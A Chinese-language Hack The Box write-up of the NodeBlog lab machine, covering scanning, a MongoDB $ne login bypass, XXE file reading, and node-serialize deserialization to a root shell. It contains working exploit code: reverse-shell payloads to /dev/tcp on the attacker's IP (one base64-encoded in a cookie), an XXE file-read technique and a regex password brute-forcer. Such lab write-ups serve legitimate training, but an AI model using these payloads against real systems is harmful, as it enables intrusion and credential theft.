Hack The Box - Machines - NodeBlog
靶机:10.10.11.139 攻击机:10.10.14.28
1. 信息搜集
C:\\Users\\kami\\Desktop>nmap -sS -sC -sV -A -p- 10.10.11.139 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-07 19:06 中国标准时间 Nmap scan report for 10.10.11.139 Host is up (0.28s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |\_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 5000/tcp open http Node.js (Express middleware) |\_http-title: Blog No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=3/7%OT=22%CT=1%CU=38883%PV=Y%DS=2%DC=T%G=Y%TM=6225E896 OS:%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A) OS:OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508 OS:ST11NW7%O6=M508ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88) OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+% OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A= OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40 OS:%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel TRACEROUTE (using port 1720/tcp) HOP RTT ADDRESS 1 281.00 ms 10.10.14.1 2 282.00 ms 10.10.11.139 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
E:\\信息搜集\\目录扫描\\dirsearch-master>python dirsearch.py --random-agent --exclude-status 400 ,401 ,403 ,404 ,500 ,503 -e \* - u http://10.10 .11 .139 :5000 / \_|. \_ \_ \_ \_ \_ \_|\_ v0.4 .2 (\_||| \_) (/\_(\_|| (\_| ) Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30 Wordlist size: 15492 Output File: E:\\信息搜集\\目录扫描\\dirsearch-master\\reports\\10.10 .11 .139 -5000 \\-\_22-03-07\_19-16 -08. txt Error Log: E:\\信息搜集\\目录扫描\\dirsearch-master\\logs\\errors-22 -03-07\_19-16 -08. log Target: http://10.10 .11 .139 :5000 / \[19 :16 :09\] Starting: \[19 :18 :11 \] 200 - 1002B - /login \[19 :18 :12 \] 200 - 1002B - /login/
由nmap和dirsearch扫描出来的结果为:靶机是Ubuntu
开放22 SSH
端口和5000端口
,5000端口是nodejs web,经过目录扫描之后只有一个login页面
这里提示账号错误,得到用户名为admin
,密码经过Burp爆破之后无果,无sql注入,首页页面源代码有一个这样的东西:
等下来回头来看这个,点击read more
可以看到有几个链接,指向不同的网站。
分别为:Homepage
、土耳其语言和英语版本的Twitch 、Youtube 、Discord 、Twitter
除了HomePage以外,其他的都指向了本靶机作者的各个平台的个人首页
打开homepage翻译之后页面如下:
看起来此域尚未连接到网站,只需要几个简单的步骤即可将其连接到您的wix网站....
本来还以为是域名劫持,但是不对劲呀,不可能是这样的呀,而且这都也已经跳出靶场范围了。
再看一下wappalyzer插件分析,站是有nodejs express构建的,先去找一下有没有对应的exp。
2. 漏洞利用
找到一个反序列化漏洞CVE-2017-5941
exp如下:
import requestsimport reimport base64import sysurl = 'http://10.10.11.139:5000/' payload = ("require('http').ServerResponse.prototype.end = (function (end) {" "return function () {" "['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));" "console.log('still inside');" "const { exec } = require('child_process');" "exec('bash -i >& /dev/tcp/10.10.14.28/1234 0>&1');" "}" "})(require('http').ServerResponse.prototype.end)" )code = "_$$ND_FUNC$$_" + payload string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "' +code+'"}' cookie = {'profile' :base64.b64encode(string)} try : response = requests.get(url, cookies=cookie).text print response except requests.exceptions.RequestException as e: print ('Oops!' ) sys.exit(1 )
但是经过运行之后发现并没有什么作用。
走投无路了属于是,后面看了一下作者的youtube,才知道姿势不正确。
0x01. Mangodb绕过身份验证
来到登录页面,由于之前的尝试,现在已经知道用户名为admin
靶机本身登录传参是post传参,但因为靶机web是nodejs构建起来的,所以传参方式可以改为json格式,也直接post传参,并且nodejs通常使用的是MangoDB
现在将登录表单的传参改为json格式
可以看到json格式传输的数据也被服务器所接收,来试试MangoDB中的$ne
,参考:$ne
官方文档有说明:$ne选择的值,不等于指定的值
payload即当password不等于admin 的时候返回真,所以这里直接登录进入后台了,在响应包的头部可以看到Set-Cookie,通常登录成功之后都会出现这样一个字段
密码到最后再来尝试写python脚本进行正则匹配爆破一波。
从返回的数据包中可以看到有一个upload xml的功能,没登录之前就写在页面源代码里面,登录之后就看到有upload了。
此时回到web页面,抓取登录数据包,修改为json格式,再放过去即可。
成功进入后台
0x02. XML注入(XXE)
经过查看页面源代码已经知道了这里可以上传xml文件,那么是否可以进行xxe
先新建一篇文章,内容随便写,然后save,但是在保存的时候这里报错了。
报错好啊,报错就能知道绝对路径了。
opt/blog/views
,opt/blog/node_modules/express/lib/
回到上传点,点击上传,先上传一个图片格式的文件
从这里返回的数据包也可以看到,这里提示是需要xml格式
本地构造一个xml文件,让其去读取/etc/passwd
文件的内容
成功读取到了/etc/passwd
的内容,xxe存在,接下来需要拿shell,我想到读取etc/shadow文件然后进行破解。
但是进行尝试之后发现:
将passwd换成shadow之后就报错了,可能是没有高权限,现在是低权限用户。
0x03. Get User Shell
想到之前的报错页面,获取到了nodejs的路径,或许可以尝试进行读取nodejs的配置文件
/opt/blog/server.js
读取到了server.js
,app.js
和main.js
读取的时候页面报错,证明是不存在的
这时候来看看这个server.js
,可以看到源码中有一个serialize
nodejs的序列化。
接下来就需要看到nodejs的unserialize vulnerabilities
漏洞了
payload: _$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()
将这一段拼接到cookie里面,将命令替换为反弹shll的命令即可
exploit: {"user" :"admin" ,"sign" :"23e112072945418601deb47d9a6c7de8" ,"kami" :"\_$$ND\_FUNC$$\_function (){require(\\" child\_process\\").exec(\\" echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjguMTIzNCAwPiYx | base64 -d | bash \\", function(error, stdout, stderr) { console.log(stdout) });}()" } 注意这里函数里面的字符串用双引号括起来,并且最终语句进行url编码 即: %7 b%22 %75 %73 %65 %72 %22 %3 a%22 %61 %64 %6 d%69 %6 e%22 %2 c%22 %73 %69 %67 %6 e%22 %3 a%22 %32 %33 %65 %31 %31 %32 %30 %37 %32 %39 %34 %35 %34 %31 %38 %36 %30 %31 %64 %65 %62 %34 %37 %64 %39 %61 %36 %63 %37 %64 %65 %38 %22 %2 c%22 %6 b%61 %6 d%69 %22 %3 a%22 %5 f%24 %24 %4 e%44 %5 f%46 %55 %4 e%43 %24 %24 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %28 %29 %7 b%72 %65 %71 %75 %69 %72 %65 %28 %5 c%22 %63 %68 %69 %6 c%64 %5 f%70 %72 %6 f%63 %65 %73 %73 %5 c%22 %29 %2 e%65 %78 %65 %63 %28 %5 c%22 %65 %63 %68 %6 f%20 %2 d%6 e%20 %59 %6 d%46 %7 a%61 %43 %41 %74 %61 %53 %41 %67 %50 %69 %59 %67 %4 c%32 %52 %6 c%64 %69 %39 %30 %59 %33 %41 %76 %4 d%54 %41 %75 %4 d%54 %41 %75 %4 d%54 %51 %75 %4 d%6 a%67 %76 %4 d%54 %49 %7 a%4 e%43 %41 %67 %4 d%44 %34 %6 d%4 d%51 %3 d%3 d%20 %7 c%20 %62 %61 %73 %65 %36 %34 %20 %2 d%64 %20 %7 c%20 %62 %61 %73 %68 %20 %5 c%22 %2 c%20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%28 %65 %72 %72 %6 f%72 %2 c%20 %73 %74 %64 %6 f%75 %74 %2 c%20 %73 %74 %64 %65 %72 %72 %29 %20 %7 b%20 %63 %6 f%6 e%73 %6 f%6 c%65 %2 e%6 c%6 f%67 %28 %73 %74 %64 %6 f%75 %74 %29 %20 %7 d%29 %3 b%7 d%28 %29 %22 %7 d
来到/opt/blog/dump/blog
目录下,可以看到之前web页面的登录用户的密码
提权先等下,先找到用户flag,来到admin用户的目录下 查看user.txt即为flag
3. Get Root Shell
同样,为了获取root的flag需要进行权限提升
sudo -l
,提示输入密码,用刚刚的admin密码尝试成功
权限还挺高 ALL
root flag.
4. MangoDB注入猜解密码
使用$regex
正则表达式来逐一猜解admin
用户的密码
import stringimport sysimport requestsimport jsonproxy = { 'http' : 'http://127.0.0.1:8080' , 'https' : 'http://127.0.0.1:8080' } header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577' '.82 Safari/537.36' } def login (pwd ): payload = '{"$regex": "%s"}' % pwd data = {"user" : "admin" , "password" : json.loads(payload)} response = requests.post("http://10.10.11.139:5000/login" , json=data, headers=header) if "Invalid Password" in response.text: return False return True if __name__ == "__main__" : password = '^' stop = False while stop == False : for i in string.ascii_letters: sys.stdout.write(f"\r{password} {i} " ) if login(f"{password} {i} " ): password += i if login(f"{password} $" ): sys.stdout.write(f"\r{password} \r\n" ) sys.stdout.flush() stop = True break break
参考:
Nodejs返序列化
IppSec - 作者